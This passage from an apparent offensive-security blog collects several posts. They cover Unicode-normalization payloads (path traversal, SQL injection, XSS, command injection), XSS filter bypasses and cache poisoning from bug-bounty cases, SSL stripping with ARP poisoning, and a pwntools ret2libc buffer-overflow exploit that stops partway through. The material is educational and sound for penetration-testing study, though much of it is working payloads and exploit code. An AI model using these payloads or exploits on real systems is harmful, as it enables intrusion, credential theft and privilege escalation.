‥ (U+2025)	‥/‥/‥/etc/passwd	../../../etc/passwd
︰(U+FE30)	︰/︰/︰/etc/passwd	../../../etc/passwd

SQL Injection

Character	Payload	After Normalization
＇(U+FF07)	＇ or ＇1＇=＇1	’ or ‘1’=’1
＂(U+FF02)	＂ or ＂1＂=＂1	” or “1”=”1
﹣ (U+FE63)	admin＇﹣﹣	admin’–

Server Side Request Forgery (SSRF)

Character	Payload	After Normalization
⓪ (U+24EA)	①②⑦.⓪.⓪.①	127.0.0.1

Open Redirect

Character	Payload	After Normalization
。(U+3002)	jlajara。gitlab。io	jlajara.gitlab.io
／(U+FF0F)	／／jlajara.gitlab.io	//jlajara.gitlab.io

XSS

Character	Payload	After Normalization
＜(U+FF1C)	＜script src=a／＞	＜script src=a/>
＂(U+FF02)	＂onclick=＇prompt(1)＇	“onclick=’prompt(1)’

Template Injection

Character	Payload	After Normalization
﹛(U+FE5B)	﹛﹛3+3﹜﹜	{{3+3}}
［ (U+FF3B)	［［5+5］］	[[5+5]]

OS Command Injection

Character	Payload	After Normalization
＆ (U+FF06)	＆＆whoami	&&whoami
｜ (U+FF5C)	｜｜ whoami	\|\|whoami

Arbitrary file upload

Character	Payload	After Normalization
ｐ (U+FF50) ʰ (U+02B0)	test.ｐʰｐ	test.php

Business logic

Register a user with some characters similar to another user. Maybe the registration process will allow the registration because the user in this step is not normalized and allows this character. After that, suppose that the application performs some normalization after retrieving the user data.

1. Register ªdmin. There is not entry in database, registration successfull.
2. Login as ªdmin. Backend performs normalization and gives the results of admin.
3. Account takeover.

Character	Payload	After Normalization
ª (U+00AA)	ªdmin	admin

Detection

A detection of this behaviour could be performed identifying what parameter reflects it contents. Afther that, a custom payload could be submitted to analyze the behaviour. For example:

Submitting the URL encoded version of the payload 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃 (%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83) gives the following response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 19

Test XSS: Leonishan

Therefore, unicode compatibility is performed ✅

If we submit the payload and the response is the following:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44

Test XSS: ðâð¤ðâð°ð¥ðð

Unicode compatibility is not performed ❌

Note: If Burp Suite is going to be used to perform this tests, the payload must be URL encoded first. Burp’s editor does not handle multibyte characters properly.

References

Detecting valid tags/events on XSS exploitation.

2020-01-25T00:00:00+01:00

Exploiting Cross-Site Scripting (XSS) vulnerabilities might be a little tricky. In this blog post, the functionality of a helpful script will be described to assist in the injection of valid HTML/JavaScript syntax to take advantage of a weak tag/event validation.

Note: This post is based on the amazing job of the Portswigger’s team and it’s Cross-site scripting (XSS) cheat sheet

Analyzing the injection point

In order to explain in a practical way, a vulnerable server is deployed using Flask. This server accepts an input parameter (name) and the parameter is reflected in the response without any encoding. However, the blacklist value is going to be filled with a list of strings that will try to detect a XSS.

from flask import Flask, abort, request
app = Flask(__name__)

@app.route('/XSS')
def Welcome_name():
  name = request.args.get('name')
  blacklist = []
  
  if any(string in name for string in blacklist): 
    abort(403, description="XSS Detected")
  else:
    return 'Test XSS: ' + name

if __name__ == '__main__':
  app.run(host='0.0.0.0',port=81)

Once the application is deployed, a GET request with a < character is performed to analyse how the response reflects it:

Request:

GET /XSS?name=asf< HTTP/1.1

Response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 14
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:32:32 GMT

Test XSS: asf<

It seems vulnerable to XSS. Another GET request is submited using <img tag:

Request:

GET /XSS?name=asf<img HTTP/1.1

Response:

HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.7.5
Date: Fri, 24 Jan 2020 20:36:50 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

XSS Detected. How the filter works must be analysed.

XSS Tag/Event analyzer

The following Python script analyzes which suitable payload could be used to exploit a valid XSS when tags/events are validated. It compares the information supplied after analyzing how the filter works and the information of Cross-site scripting (XSS) cheat sheet.

It can be downloaded Here - https://gitlab.com/jlajara/xss-tag_event-analyzer

The usage is the following:

usage: find_xss.py [-h] [-f FILE] [-t TAGS [TAGS ...]]
                   [-e EVENTS [EVENTS ...]] [-o OUTPUT]

Find suitable XSS Payloads.

optional arguments:
  -h, --help            show this help message and exit
  -f FILE, --file FILE  file with the payloads
  -t TAGS [TAGS ...], --tags TAGS [TAGS ...]
                        array with allowed tags
  -e EVENTS [EVENTS ...], --events EVENTS [EVENTS ...]
                        array with allowed events
  -o OUTPUT, --output OUTPUT
                        output payload list

Methodology:

1. Fuzz with burpsuite or other tool the content of the tags.txt file. The point of fuzzing should be placed after the < character:

GET /XSS?name=asf<§tag§ HTTP/1.1

The following tags are candidates to a valid exploitation: b blink details marquee blockquote

2. Fuzz with burpsuite or other tool the content of the events.txt file. The point of fuzzing should be placed after a valid tag:

GET /XSS?name=asf<b+§event§ HTTP/1.1

The following events are candidates to a valid exploitation: oncontextmenu onhashchange onmouseout onpopstate

3. Check the combination of tags and events with the script. Tags and events are separated by an space character.

❯ python find_xss.py -t b blink details marquee blockquote -e oncontextmenu onhashchange onmouseout onpopstate

Payloads found:

+--------------------------------------------------------+-----------------------------+
| Payload                                                |    Browser Compatibility    |
+--------------------------------------------------------+-----------------------------+
| <b oncontextmenu="alert(1)">test</b>                   | chrome firefox edge safari  |
| <blink oncontextmenu="alert(1)">test</blink>           | chrome firefox edge safari  |
| <blockquote oncontextmenu="alert(1)">test</blockquote> | chrome firefox edge safari  |
| <details oncontextmenu="alert(1)">test</details>       | chrome firefox edge safari  |
| <marquee oncontextmenu="alert(1)">test</marquee>       | chrome firefox edge safari  |
| <b onmouseout="alert(1)">test</b>                      | chrome firefox edge safari  |
| <blink onmouseout="alert(1)">test</blink>              | chrome firefox edge safari  |
| <blockquote onmouseout="alert(1)">test</blockquote>    | chrome firefox edge safari  |
| <details onmouseout="alert(1)">test</details>          | chrome firefox edge safari  |
| <marquee onmouseout="alert(1)">test</marquee>          | chrome firefox edge safari  |
+--------------------------------------------------------+-----------------------------+

4. Testing the injection:

http://localhost:81/XSS?name=asf<b oncontextmenu="alert(1)">test</b>

Notes

The -f / --file parameter is used to specify the payload database, by default it uses db.json.
When -t / --tags or -e / --events are not specified, it will be completed with any value.
Some payloads use various tags, therefore both tags should be accepted to achieve a complete execution.
Payloads are basics and alert(1) is probably detected by most WAFs, some evasion should be performed.

References

Cross-site scripting (XSS) cheat sheet

Exploiting XSS with 20 characters limitation

2019-11-30T00:00:00+01:00

Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. However, depending on the injection point, a character limitation problem could be found. In this post, unicode compatibility is going to be taken to exploit some XSS vulnerabilities.

Unicode compatibility

In Unicode equivalence some sequences of code points represent essentially the same character. This feature was introduced in the standard to allow compatibility with preexisting standard character sets. Unicode provides two ways of handling that: canonical equivalence and compatibility.

Canonical equivalence: Code point sequences are assumed to have the same appearance and meaning when printed or displayed. For example, n + ◌̃ = ñ.
Compatible equivalence: Code point sequences are assumed to have possibly distinct appearances, but the same meaning in some contexts. For example ﬀ character has the equivalent to ff.

20 length limitation problem

Therefore, supose a length limitation of a payload is set, and we confirm the Javascript execution with a 20 character payload like this:

<svg/onload=alert``>

But, this is harmless, because we can only pop an alert, without showing the impact behind a XSS. Loading an external Javascript would be perfect and would give us more flexibility to prepare a more complex attack.

<script src=//aa.es>

Therefore, a payload like this would be perfect, because we can load a remote Javascript file with 20 characters. But almost every domain of this kind is taken or is too expensive.

Taking advantage

Browsers perform unicode compatibility with some characters, let’s see an example. Supose we have this payload:

<script src=//ﬀﬀ.pw>

Notice that ﬀ characters is only one character but when browsers interpret it, it will be expanded as ff two characters. This open the door to buy larger domains, in a cheaper way.

ﬀ expands to ff
℠ expands to sm
㏛ expands to sr
ﬆ expands to st
㎭ expands to rad
℡ expands to tel

More of these characters can be found here.

To check in which characters are decomposed check here:

Then, lets register a domain a telsr.pw for example. It costs only $1.28.

Our final payload will look like this:

<script src=//℡㏛.pw>

Observe how the normalization is performed and our registered endpoint is trying to be reached with a payload of 20 characters instead of 23 characters thanks of unicode compatibility.

Next steps

Therefore, a domain is registered and a payload is trying to reach that domain, however it has not executed anything yet.

One thing came into my mind, let’s perform a DNS Redirect, it will work as follows:

1. XSS is triggered and browser tries to load the content of to telsr.pw
2. DNS redirects to xsshunter.com to trigger the XSS execution.
3. Win

But there is a problem, if the connection goes over HTTPS and we trigger a script with src=\\url the protocol will be the same as the website. Then, if we perform a DNS redirect to another site, there will be a certificate mismatch and the Javascript file will not be loaded.

If the comunication goes over HTTP this is not a problem, but it is not the common scenario.

This was solved doing the following:

1. Buy a hosting to that domain, the cheapest one $1.44/mo. In my case was using namecheap.com.
2. Set up a HTTPS certificate, it is free the first year.
3. In your control panel, go to the redirection form and perform a redirection to the place you have the Javascript file. This is not a DNS redirection, is a server redirection, so there will be not certificate mismatch error because the url is presenting a valid certificate generated in step 2.
4. Redirection is performed and execution triggered.

References

HSTS vs SSL Stripping attacks.

2019-11-11T00:00:00+01:00

HTTP Strict Transport Security (HSTS) is a web server security policy that forces web browsers to respond via HTTPS connections rather than HTTP. But do users pay attention to this? How effective are SSL Stripping attacks against modern websites? How is HSTS well implemented?

How HSTS works?

When a URL is entered in the web browser and the protocol part is omitted, for example, by typing jlajara.gitlab.io instead of https://jlajara.gitlab.io, the browser assumes that you want to use the HTTP protocol. The HTTP protocol sends the information in plain text, therefore it is considered a vulnerable protocol. Any attacker in the same network performing a MITM (Man-in-the-middle) attack could read this information.

Normally, in this situation, the web server responds with a redirection (response code 301) pointing to the HTTPS site. Then, a HTTPS connection is established with https://jlajara.gitlab.io.

In order to prevent that in later cases the information will be send in plain text again by mistake, using the HTTP protocol, the server responds with a header to apply the HSTS security policy once the HTTPS connection has been made. This header is called HSTS Header and looks like this:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

This header gives specific instructions to the browser. From now on, each connection to the site and its subdomains for the next year (31536000 seconds) from the moment you receive this header, must be an HTTPS connection. HTTP connections are not allowed at all. If the browser receives a request to load a resource using HTTP, you should try it with an HTTPS request. If HTTPS is not available, the connection must be terminated.

In addition, if the certificate is invalid the connection will be terminated. Normally, if a certificate is invalid (expired, self-signed, signed by an unknown CA, etc.), the browser displays a warning that you can bypass. However, if the site is configured with HSTS, the browser will not allow you to bypass the warning at all. To access the site, you must remove it from the HSTS list of the browser.

The Strict-Transport-Security header is sent for a given website and covers a particular domain name. Therefore, the HSTS header for test.jlajara.gitlab.io will not cover jlajara.gitlab.io, only test subdomain. Therefore, for complete protection, an include call must be included to the base domain (in this case, jlajara.gitlab.io) and receive a Strict-Transport-Security security header for that domain with the includeSubDomains directive.

In addition, the browser ignores the Strict-Transport-Security header when accessing your site forzing the HTTP schema.

How bad HSTS implementations could be exploited?

The absence of HSTS can trigger an attack when:

User writes http://jlajara.gitlab.io through bookmarks or enters it manually and is subject to an attacker of the type Man-in-the-middle.
A web application that is intended to be purely HTTPS inadvertently contains HTTP links or serves content over HTTP.
HSTS is implemented in a subdomain but not in the root domain.

SSL Strip

In order to simulate an attack scenario, two virtual machines (victim and attacker) were placed on the same network.

The attack is known as SSL Strip and consists on the following:

1. An attacker performs a Man-in-the-middle attack by poisoning the victim’s ARP table.
2.The victim’s HTTP traffic is redirected to a proxy created by the attacker.
3.The attacker sends the victim’s traffic over HTTPS and serves the content of the response to the victim over HTTP.
4.The traffic generated by the victim is read by the attacker and sent to the server continuously.

This technique was discovered by Moxie Marlinspike an presented at BlackHat 2009: Slides - Video

Exploitation

To properly perform a MiTM attack, an attacker should poison the victim’s ARP table. To do this, the attacker would continuously send ARP packets to the victim, stating that the gateway IP is the attacker’s machine. The traffic will be sent to the attacker and he will send it back to the gateway, allowing it to be placed in the middle of the connection. This technique is known as ARP Poisoning.

Bettercap can be used for this. It also includes a module to automatically set a proxy and perform SSLStrip.

Note: It is important to use Bettercap version 1.x, as during the writing of this document, version 2.x does not perform SSLStrip correctly.

Installation:

apt-get install ruby-full
apt-get install libpcap-dev
gem update --system
gem install bettercap
ln -s /var/lib/gems/2.5.0/gems/bettercap-1.6.2/bin/bettercap /root/bettercap-1.6.2
./root/bettercap-1.6.2

Once installed, to perform a MyTM attack with SSLStrip the following command is executed:

./bettercap-1.6.2 -T <victim_ip> --proxy

The modules that are being executed are showed:

[ spoofing:✔ discovery:✘ sniffer:✘ tcp-proxy:✘ udp-proxy:✘ http-proxy:✔ https-proxy:✘ sslstrip:✔ http-server:✘ dns-server:✔ ] ...

Common HSTS cases

Web servers with HSTS properly implemented and HSTS is preloaded in the browser ✅✅
Web servers with HSTS properly implemented and HSTS is not preloaded in the browser ✅
Web servers with a badly HSTS configuration ❌
Web servers withous HSTS ❌❌

Web servers with HSTS properly implemented and HSTS is preloaded in the browser ✅✅

In this case, the first web request is made with HTTPS, facebook.com could be checked.

The first HTTP packet forces the use of HTTPS, making it immune to SSLStrip.

Web servers with HSTS properly implemented and HSTS is not preloaded in the browser ✅

1. The first web request is made using HTTP.
2. A redirection to the main domain is performed forzing HTTPS.
3. The HTTPS response cointains the HSTS header and applies HSTS to all the domain and subdomains.
4. Each time the browser tries to connect to the URL, HTTPS is forced.

In this case yahoo.com has been used as an example.

Web servers with a badly HSTS configuration ❌

1. The first web request is made using HTTP.
2. The web page redirects to another subdomain where it adds HSTS forzing HTTPS. However, this HSTS header is only applied to the subdomain where it redirects and not to the main domain.

For example, when you make a request to outlook.com, the first request is HTTP and makes a redirection to the subdomain https://www.outlook.com.

HSTS is applied to the subdomain www.outlook.com, but not to the main domain outlook.com.

An attacker could impersonate another outlook.com subdomain by poisoning the DNS and cloning the DNS content, since HSTS only applies to www.outlook.com. In this case, a fake subdomain is set at wwwww.outlook.com faking the web content of the victim.

Web servers withous HSTS ❌❌

In this case, all requests are made using HTTP. There is no security mechanism that forces the use of HTTPS after a second request is performed.

For example, when you visit webs.com, there is a redirection to https://webs.com.

However, HSTS is not applied.

Therefore, any next request will maintain the HTTP protocol and a SSLStrip could be performed.

Correct implementation

Serve a valid certificate.
Redirect from HTTP to HTTPS on the same host (if listening on port 80).
Serve all subdomains over HTTPS.
- In particular, HTTPS must be supported for the www subdomain if a DNS record exists for that subdomain.
Serve an HSTS header in the base domain for HTTPS requests:
- The maximum age must be at least 31536000 seconds (1 year).
- The includeSubDomains directive must be specified.
- If an additional redirection from the HTTPS site is serving, that redirection must have the HSTS header (instead of the page it redirects to).

To check the HSTS status of a webpage hstspreload.org is the best option.

References

Common Cross-Site Scripting scenarios. 3 Bug Bounty cases

2019-10-10T00:00:00+02:00

Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. In this post, a few common XSS exploitation techniques discovered in Bug Bounty programms will be shown. Endpoints are Redacted to deny information leaks.

A non-recursive sanitizer 🥉
Input vector inside on elements 🥈
Custom headers and Web Cache Poisoning 🥇

A non-recursive sanitizer 🥉

After some URL parameters enumeration, an interesting parameter csrfToken got reflected in the response without escaping < characters.

Request:

GET /us/en/search-results?keywords=aaa&csrfToken=bbb<

Response:

...

</html><div id='csrfToken' style='display:none'>bbb<</div>

Then, common payloads: <svg onload='prompt(3)'/> are tested to check how the backend is validating the input:

Request:

GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg+onload%3d'prompt(3)'/>

Response:

</html><div id='csrfToken' style='display:none'>bbb</div>

Some validation is applied, therefore how validation is performed needs to be tested:

Request 1:

GET /us/en/search-results?keywords=aaa&csrfToken=bbbbbb<svg+on/>

Response 1:

</html><div id='csrfToken' style='display:none'>bbb</div>

Request 2:

GET /us/en/search-results?keywords=aaa&csrfToken=bbbbbb<svg+oa/>

Response 2:

</html><div id='csrfToken' style='display:none'><svg oa/></div>

Request 3:

GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onload/>

Response 3:

</html><div id='csrfToken' style='display:none'>bbb<svg/onload/></div>

Request 4:

GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onload=/>

Response 4:

<div id='csrfToken' style='display:none'>bbb<svg//></div>

With these test cases, is confirmed that using / instead of (white space) after <svg is more permisive. However, when the backend finds the word onload with = the response is sanitized. But, it seems that the resulting string is somehow splitted.

Is this filter recursive? What would happen if it is used the first split to create a new onload element?

Request:

GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onloaonloadd=/>

Response:

<div id='csrfToken' style='display:none'>bbb<svg/onloa/></div>

The first split eliminates the onload and leaves onload. Finishing the payload:

Request:

GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onloaonloadd=d='prompt(3)'/>

Response:

<div id='csrfToken' style='display:none'>bbb<svg/onload='prompt(3)'/></div>

Input vector inside on elements 🥈

One of the common escenarios that allows a XSS execution is when the controlled input parameter is reflected inside an on element. After some enumeration in a Bug Bounty program, an endpoint where the content of the URL was reflected inside an on element is found.

Request:

GET /StorecTEST/Cart?UpdateCart=Update&items%5b2919b907

Response:

<input class="btn inputbutton" name="UpdateCart" onclick=" setFormAction(&#39;cartForm&#39;,&#39;/StorecTEST/Cart?inputAction=UpdateCart&#39;)" title="Update" type="submit" value="Update" />

' character is perfectly valid inside JavaScript and is equivalent to ' character. How to take advantage of this? Check this JavaScript scenario:

var txt = 'Hello '+alert(2)/' world';

In JavaScript, if a string is evaluated and the string is escaped with a function between arithmetic operators, the function will be executed firstly to determine its result, and the appended to the string. Therefore, alert(2) will be executed firstly. Trying to escape the values to force this scenario:

Request:

GET /Storec'-TEST/Cart?UpdateCart=Update&items%5b2919b907

Response:

<input class="btn inputbutton" name="UpdateCart" onclick=" setFormAction(&#39;cartForm&#39;,&#39;/Storec&#39;-TEST/Cart?inputAction=UpdateCart&#39;)" title="Update" type="submit" value="Update" />

Finishing the payload:

GET /Storec'-prompt(2)-'/Cart?UpdateCart=Update&items%5b2919b907

<input class="btn inputbutton" name="UpdateCart" onclick=" setFormAction(&#39;cartForm&#39;,&#39;/Storec&#39;-prompt(2)-&#39;/Cart?inputAction=UpdateCart&#39;)" title="Update" type="submit" value="Update" />

Finally, when a user clicks the Update button:

Custom headers and Web Cache Poisoning 🥇

After some Headers bruteforcing, the content of X-Forwarded-Host was reflected in the source:

Request:

GET /endpoint.html HTTP/1.1
Host: redacted
User-Agent: 
Connection: close
X-Forwarded-Host: TEST

Response:

<meta http-equiv="page-title" content="">
    <link rel="canonical" href="http://TEST/content/endpoint.html"/>
    

Trying to escape and insert a valid XSS, give us the following payload. The character / was blacklisted and throws an error:

Request:

GET /endpoint.html HTTP/1.1
Host: redacted
User-Agent: 
Connection: close
X-Forwarded-Host: "><svg onload=prompt(1)>

Response:

<meta http-equiv="page-title" content="">
    <link rel="canonical" href="http://"><svg onload=prompt(1)>/content/endpoint.html" />

However, this is a Self-XSS because it is not possible that a user could execute this payload without setting this custom header. However, there is some option, abusing Web Cache Poisoning.

This endpoint, stores in its cache the response. Therefore, if a response with the XSS payload could be stored, any user that visit this cached endpoint will be triggered with XSS.

Request:

GET /enpoint.html?poisonedcache=1 HTTP/1.1
Host: redacted
User-Agent: 
Connection: close
X-Forwarded-Host: TEST

Check poisonedcache=1 parameter. After that, if a user navigates to https://redacted.com/enpoint.html?poisonedcache=1:

Binary Privilege Escalation in x64. Defeating ASLR with Leaks

2019-06-15T00:00:00+02:00

It is very common, mostly in CTF challenges, to abuse a binary exploitation to retrieve a shell from an unprivilege user to root user.

TLDR: In this example we are going to use a binary called jl_bin with a SUID permission and vulnerable to a Buffer Overlow. ASLR protection is enabled in x64 architecture so we have to leak the libc base address of the GOT table to spawn a shell giving the libc offsets of system and setuid.

Setuid
Binary Protections
Exploiting the Buffer Overflow
What is a Leak
Exploiting the Leak
Ret2libc
Full Exploitation

What is setuid/SUID permission?

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherits access permissions from the logged in user. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it.

How could we find these binaries? Using this command:

find / -perm -4000 2>/dev/null

For example, sudo binary has a SUID permission because allows a user to run a temporary elevated process. The letter s indicates that the binary has SUID enabled.

> ls -ll /usr/bin/sudo
-r-s--x--x  1 root  wheel  370720 May  4 09:02 /usr/bin/sudo

Therefore, if we could exploit a SUID binary that its owner is root we could privesc.

Binary Protections

Using gdb, in my case with peda, allows us to check if the binary has some protections:

> gdb jl_bin

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

What does it means?

Protection	Description
CANARY	Certain value put on the stack and validated before that function is left again. If the canary value is not correct, then the stack might have been overwritten/corrupted and the application is stopped.
FORTIFY	The compiler will try to intelligently read the code it is compiling/building. When it sees a C-library function call against a variable whose size it can deduce, it will replace the call with a FORTIFY’ed function call, passing on the maximum size for the variable. If this special function call notices that the variable is being overwritten beyond its boundaries, it forces the application to quit immediately.
NX (non-execute)	The application, when loaded in memory, does not allow any of its segments to be both writable and executable.
PIE (Position Independent Executable)	Tells the loader which virtual address it should use. Combined with in-kernel ASLR, PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult.
RELRO (Relocation Read-Only)	Headers in the binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done, but before the application itself is launched.

In addition to that, kernel ASLR protection is enabled by default. Address space layout randomization (ASLR) is a memory-protection process for operating systems that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.

To check if is enabled, run:

> cat /proc/sys/kernel/randomize_va_space
2

Exploiting the Buffer Overflow

When the program is executed, a password is required. What happen if we send a lot of As?

> ./jl_bin
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.
Segmentation fault

Perfect, a Segmentation Fault. Let’s see it in gdb:

> gdb jl_bin
> gdb-peda$ r

Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fe877a6e504 (<__GI___libc_write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x7fe877b418c0 --> 0x0
RSI: 0x4319c0 ("access denied.\nssword: ")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffd474a9068 ('A' <repeats 151 times>)
RIP: 0x401618 (<auth+261>:      ret)
R8 : 0x7fe877b46500 (0x00007fe877b46500)

In 64 binaries, a direct overwrite in RIP is not possible, but the process is stuck in a ret call. We can observe that the stack pointer (RSP) is overwrited with As : ‘A’ <repeats 151 times>.

Therefore, We need to put a valid direction in RSP to have a succesfull exploitation.

To know the exact amount of junk to send to the input to reach a Buffer Overflow, we could use pattern_create and pattern_offset of peda.

> gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

gdb-peda$ run
Starting program: /root/Downloads/rop/jl_bin
Enter access password: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAA
oAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

access denied.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fa95451c504 (<__GI___libc_write+20>:    cmp    rax,0xfffffffffffff000)
RDX: 0x7fa9545ef8c0 --> 0x0
RSI: 0x9dc9c0 ("access denied.\nssword: ")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fff3d39ea58 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")


gdb-peda$ pattern_offset AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 136

The number of junk characters to overwrite the content of the RSP is 136. Therefore, we are going to start our exploit. The exploit is developed in python2 using the amazing pwn library.

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136

payload = junk

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

p.interactive(prompt="")

But… this program does not do anything. We need to overwrite RSP with some valid direction to take advantage. ASLR is protecting the system randomizing address, and in 64 bits there is almost impossible to bruteforce the address space, so we need something extra… Leaks.

What is a Leak?

Firstly, we need to vaguely describe PLT and GOT:

PLT (Procedure Linkage Table which) is used to call external procedures/functions whose address is not known in the time of linking, and is left to be resolved by the dynamic linker at run time.
GOT (Global Offsets Table) is similar to PLT but is used to resolve addresses.

More info

Since the GOT and PLT are used directly from anywhere in the program, they need to have a known static address in memory. In addition, the GOT needs to have write permissions, because when the address of a function is resolved, it is written into its corresponding GOT entry. Moreover, the addresses in the GOT section are static (not affected by ASLR).

Therefore, using puts to print the address of the puts function in the libc mapped in the GOT table, would allow us to retrieve the base address of libc to call other functions… is a bit tricky but we are going step by step.

Exploiting the leak

Firstly, we need three things:

Address of pop rdi to pass the argument to RDI, that will be used to puts. That is because in 64 bits arguments are pased in registries, in 32 bits are retrieved from the stack. Therefore, we need to pop arguments to the registry using this function (0x40179b).

> ROPgadget --binary jl_bin > gadgets.txt
> cat gadgets.txt | grep "pop rdi"
0x000000000040179b : pop rdi ; ret

Address of GOT table where the puts in libc is (0x404028).

>objdump -D jl_bin | grep puts
0000000000401050 <puts@plt>:
  401050:       ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>

Address of puts to print the address leaked (0x401050).

Finally our exploit will look like this:

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)

payload = junk + pop_rdi + got_put + plt_put

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

p.interactive(prompt="")

Running:

python exploit.py
[+] Starting local process './jl_bin': pid 1847
[+] Leaked puts@GLIBC: \x10F\xb5\xa6\x7f\x00\x00
[*] Stopped process './jl_bin' (pid 1847)

There is a problem, if the process is stopped, the address leaked will be randomized in the next execution. We need to preserve the process open again. To achieve that, we could call to main funcion after leaking the address. The address of main is 0x401619.

> objdump -D jl_bin | grep main
  401194:       ff 15 56 2e 00 00       callq  *0x2e56(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
0000000000401619 <main>:

Our exploit:

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
plt_put = p64(0x401050)
plt_main = p64(0x401619)

payload = junk + pop_rdi + got_put + plt_put + plt_main

# send payload when the programs start
p.sendline(payload)
p.recvline() # wait until break line
p.recvline() # wait until access denied

# Leaked address printed in a readable format
leaked_puts =  p.recvline().strip().ljust(8, "\x00")
log.success('Leaked puts@GLIBC: ' + str(leaked_puts))

p.interactive(prompt="")

Ret2libc

Once we have leaked the puts address of libc we need to search the offset of the puts address in libc to reach the base address of libc. Knowing this address will allow us to call system functions and retrieve a shell.

> locate libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib32/libc.so.6

> readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 |grep puts
   426: 0000000000071910   413 FUNC    WEAK   DEFAULT   13 puts@@GLIBC_2.2.5

The address of puts in libc is 0x71910. Then the base of the libc address is: leaked address - 0x71910.

from pwn import *

p = process('./jl_bin')

context(os='linux',arch='amd64')

junk = "A"*136
pop_rdi = p64(0x40179b)
got_put = p64(0x404028)
